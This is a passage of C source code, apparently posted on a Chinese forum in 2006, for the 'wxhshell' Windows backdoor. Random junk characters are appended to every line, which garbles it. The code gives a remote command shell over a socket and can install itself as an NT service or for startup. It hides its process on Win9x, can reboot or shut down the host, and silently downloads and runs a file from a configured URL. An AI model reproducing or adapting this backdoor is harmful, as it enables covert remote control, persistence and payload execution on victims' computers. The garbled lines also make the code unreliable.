  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IXg${I}_Q  
  } ;N/c5+  
  else { 5w1=j\oq  
Ri-I+7(n!  
    switch(cmd[0]) { o0<T|zgF5,  
  d[o =  
  // 帮助 >T(f  
  case '?': { IC{>q3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I|`K;a  
    break; [6-l6W  
  } AX1\L |tJS  
  // 安装 fI BLJ53  
  case 'i': { cJhf{{_oR  
    if(Install()) = tog<7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c`t1:%S  
    else 4 5Ql7~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {`3;Pd`  
    break; Ne#nSx5,  
    } #~#_) \l'F  
  // 卸载 nxH$$}9  
  case 'r': { r^ "mPgY  
    if(Uninstall()) I&cb5j]C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :zZtZT!  
    else xw=B4u'z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A2+t`[ w  
    break; d?S<h`{x   
    } 7C 4Njei"  
  // 显示 wxhshell 所在路径 Np=*B_ @8  
  case 'p': { %`}Qkb/Lyh  
    char svExeFile[MAX_PATH]; wIY#TBu  
    strcpy(svExeFile,"\n\r"); !W3Le$aL  
      strcat(svExeFile,ExeFile); -bj1y2)n  
        send(wsh,svExeFile,strlen(svExeFile),0); D'2O#Rj4q  
    break; cw^FOV*  
    } 0<s)xaN>Y  
  // 重启 [t6)M~&e:_  
  case 'b': { wo_FM `@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a;h:o>Do5  
    if(Boot(REBOOT)) o%|1D'f^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]7@%cS  
    else { |C(72t?K  
    closesocket(wsh); "qDEI}  
    ExitThread(0); .&[nS<~`  
    } L?Lp``%bI7  
    break; 9YvMJ  
    } leD?yyjw7  
  // 关机 Bf-&[ 5N}  
  case 'd': { i\<l&W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +(P;4ZOmB  
    if(Boot(SHUTDOWN)) w?5b:W,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M)LdGN?$  
    else { W5x]bl#  
    closesocket(wsh); UGN. ]#"#  
    ExitThread(0); jAJkCCG  
    } OE[/sv  
    break; zO+nEsf^O  
    } Z os~1N]3  
  // 获取shell )WFUAzuN,  
  case 's': { \u)(+t{  
    CmdShell(wsh); ("TI~  
    closesocket(wsh); V~+Unn  
    ExitThread(0); kB8l`| I  
    break; hm5<_(F!  
  } &=/.$i-w$  
  // 退出 5(F!* 6i>  
  case 'x': { ?(|!VLu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z^oi15D|{  
    CloseIt(wsh); .CYq+^  
    break; {-E{.7  
    } \(z)]D  
  // 离开 "TxXrt%>A  
  case 'q': { I#,,h4C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <bid 6Q0|  
    closesocket(wsh); QK@z##U  
    WSACleanup(); zMG4oRPP  
    exit(1); %|u"0/  
    break;  r>G$u  
        } Zkz:h7GUG-  
  } Y#Z&$&n  
  } d5i /:  
i'57|;?  
  // 提示信息 U "}Kth  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z2`e*c-[E  
} MJD4#G  
  } NH?s  
:Ert57@l  
  return; ~f@;.  
} {<_}[} XY  
I{2e0  
// shell模块句柄 zJV4)  
int CmdShell(SOCKET sock) ~<$8i}7  
{ G)putk@   
STARTUPINFO si; B]hZ4.B1  
ZeroMemory(&si,sizeof(si)); '6aH*B:}*;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8^~ljf]6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l >O]Cpt  
PROCESS_INFORMATION ProcessInfo; ybB}|4d&   
char cmdline[]="cmd"; Z>{8FzP.F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cg$~.ytPK  
  return 0; p*N+B o  
} !^N/n5eoz  
!#X^nlc  
// 自身启动模式 F6 UOo.L)I  
int StartFromService(void) !",@,$  
{  CZuxH  
typedef struct 7i'vAOnw^  
{ lE`ScYG  
  DWORD ExitStatus; dXOjaS# ~  
  DWORD PebBaseAddress; {6KU.'#iF  
  DWORD AffinityMask; 5i#B?+Y  
  DWORD BasePriority; Y<|L|b6  
  ULONG UniqueProcessId; 9sRP8Nj|  
  ULONG InheritedFromUniqueProcessId; ?,Hk]Rl3  
}   PROCESS_BASIC_INFORMATION; -x RsYYw  
UIyOn` d"  
PROCNTQSIP NtQueryInformationProcess; |M0TG  
M 35}5+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >DV0!'jW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Y:HVr,  
- -]\z*x  
  HANDLE             hProcess; ~#-`Qh  
  PROCESS_BASIC_INFORMATION pbi; \t1vYIY]T  
Ig6s'^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ge @d"  
  if(NULL == hInst ) return 0; %+'&$  
(_W[~df4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q5`Gl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |6uEf/*DX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CZ0 {*K:  
cJty4m-  
  if (!NtQueryInformationProcess) return 0; 0~-+5V  
a'A0CQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6)?TWr'Ke  
  if(!hProcess) return 0; k%LE"Q  
X~j A*kmAj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7/~"\nN:/  
T^Z#x-Q  
  CloseHandle(hProcess); !KF;Z|_(I  
- Zw"o>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N[mOJa:  
if(hProcess==NULL) return 0; F4PD3E_#  
z=u4&x|xA  
HMODULE hMod; M0]fh5O  
char procName[255]; 11)~!in  
unsigned long cbNeeded; vi=yR  
IAtZ-cM<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H;Bj\-Pa  
bM!`C|,[s  
  CloseHandle(hProcess); mki=.l$O  
Kp99y  
if(strstr(procName,"services")) return 1; // 以服务启动 9R E;50h  
?e ~*,6  
  return 0; // 注册表启动 O35f5Kz  
} :3G9YjzC}  
G/D{K$=t~  
// 主模块 J 5\> 8I,a  
int StartWxhshell(LPSTR lpCmdLine) GC{Ys|s  
{ Isi ,Tl ^  
  SOCKET wsl; Z-~^)lo  
BOOL val=TRUE; kP|!!N  
  int port=0; aRV!0?fS  
  struct sockaddr_in door; |g9^]bT  
]:f1r8<3p  
  if(wscfg.ws_autoins) Install(); Z@*Z@]FC  
R52!pB0[  
port=atoi(lpCmdLine); Eod2vr =Q  
oL~Yrb%R  
if(port<=0) port=wscfg.ws_port; ,`wxXU7  
-Wig k['v  
  WSADATA data; >B9rr0d0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XrvrN^'  
?K]k(ZV_+Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mH hm~u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *r_.o;6  
  door.sin_family = AF_INET;  &wj Ob  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K}zw%!ex  
  door.sin_port = htons(port); xq]&XlA:ug  
Z BYmAD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 71 2i |  
closesocket(wsl); O-|3k$'\z  
return 1; Tu"yoF  
} m760K*:i\  
T&h|sa(   
  if(listen(wsl,2) == INVALID_SOCKET) { 'R$~U?i8  
closesocket(wsl); FqiK}K.~/  
return 1; jVA xa|S  
} <ImeZ'L7  
  Wxhshell(wsl); qzG'Gz{{qu  
  WSACleanup(); :')<|(Zy  
\K4m~e@!  
return 0; %1lLUgf3G/  
S }|ea2  
} 9hq7:  
3)7'dM  
// 以NT服务方式启动 1n,JynJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6-^+btl)#  
{ _6|b0*jv'&  
DWORD   status = 0; Zw3|HV(so  
  DWORD   specificError = 0xfffffff; ;xRyONt  
9DT}sCLz:B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oDRNM^gz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z C``G<TB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i.#s'm.9  
  serviceStatus.dwWin32ExitCode     = 0; $;">/ "7m  
  serviceStatus.dwServiceSpecificExitCode = 0; ~p8!Kb6  
  serviceStatus.dwCheckPoint       = 0; O 8fh'6  
  serviceStatus.dwWaitHint       = 0; g"!B |  
 t9=rr>8)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |?0C9  
  if (hServiceStatusHandle==0) return; ;m\(fW*ii  
QOOBCNe  
status = GetLastError(); 9:m+mpL=9  
  if (status!=NO_ERROR) 6tJM*{$$H  
{ |_A35"v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1wq 6E  
    serviceStatus.dwCheckPoint       = 0; -}>Q0d)  
    serviceStatus.dwWaitHint       = 0; c2i^dNp_  
    serviceStatus.dwWin32ExitCode     = status; QTDI^ZeuF  
    serviceStatus.dwServiceSpecificExitCode = specificError; > vahj,CZZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r"4:aKF>  
    return; $V+ze*ra  
  } }b{N[  
1\3n   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1,/oS&?E  
  serviceStatus.dwCheckPoint       = 0; )i?wBxq'MA  
  serviceStatus.dwWaitHint       = 0; Tc qqAc   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?iq:Gf  
} %@IR7v~  
ZA# jw 8F  
// 处理NT服务事件,比如:启动、停止 4[(P>`Unx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vw,dHIe(3  
{ cL}g7D  
switch(fdwControl) {:"bX~<^  
{ d) > if<o  
case SERVICE_CONTROL_STOP: tV T(!&(  
  serviceStatus.dwWin32ExitCode = 0; _ '}UNIL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; phNv^R+  
  serviceStatus.dwCheckPoint   = 0; VMNihx0FJ  
  serviceStatus.dwWaitHint     = 0; A/o=a#  
  { U"ZDt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :JOF!Q  
  } wvgX5P>  
  return; $}jSIn=~|t  
case SERVICE_CONTROL_PAUSE: 0h5T&U]${Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #]Cr zLe  
  break; ^v`|0z\  
case SERVICE_CONTROL_CONTINUE: +`9T?:fu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p_}OtS;  
  break; 8 /\rmf\  
case SERVICE_CONTROL_INTERROGATE: 3cs'Oz<w  
  break; *l5/q\D  
}; rSa 3u*xB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ET7  
} OW6i2>Or  
Bt.WRRpAB  
// 标准应用程序主函数 $V@IRBm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DQE.;0ld  
{ -m-~  
{5RM)J1  
// 获取操作系统版本 -f'z _&KI  
OsIsNt=GetOsVer(); H_jMl$f)j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (llg!1  
H*!E*_  
  // 从命令行安装 3vMfms  
  if(strpbrk(lpCmdLine,"iI")) Install(); `?La  
pV1~REk$&  
  // 下载执行文件 ;8ugI  
if(wscfg.ws_downexe) { M,7v}[Tbl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x=9drKIw>  
  WinExec(wscfg.ws_filenam,SW_HIDE); B>JRta;hj  
} iptzVr#b[  
Bf8 #&]O  
if(!OsIsNt) { a*o=,!  
// 如果时win9x,隐藏进程并且设置为注册表启动 i5rAb<q`  
HideProc(); g4U%(3,>D  
StartWxhshell(lpCmdLine); zHyM@*Gf(  
} [t>}M6?R:  
else 4Sw)IU~K(  
  if(StartFromService()) ['{mW4i  
  // 以服务方式启动 0Pbv7)=XL  
  StartServiceCtrlDispatcher(DispatchTable); 6)Kg!.n%f  
else _57i[U r  
  // 普通方式启动 }2G'3msx  
  StartWxhshell(lpCmdLine); x|1OGbBK  
&,bJ]J)8O  
return 0; !x&/M*nBE  
}
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只看该作者 1 发表于: 2006-10-10
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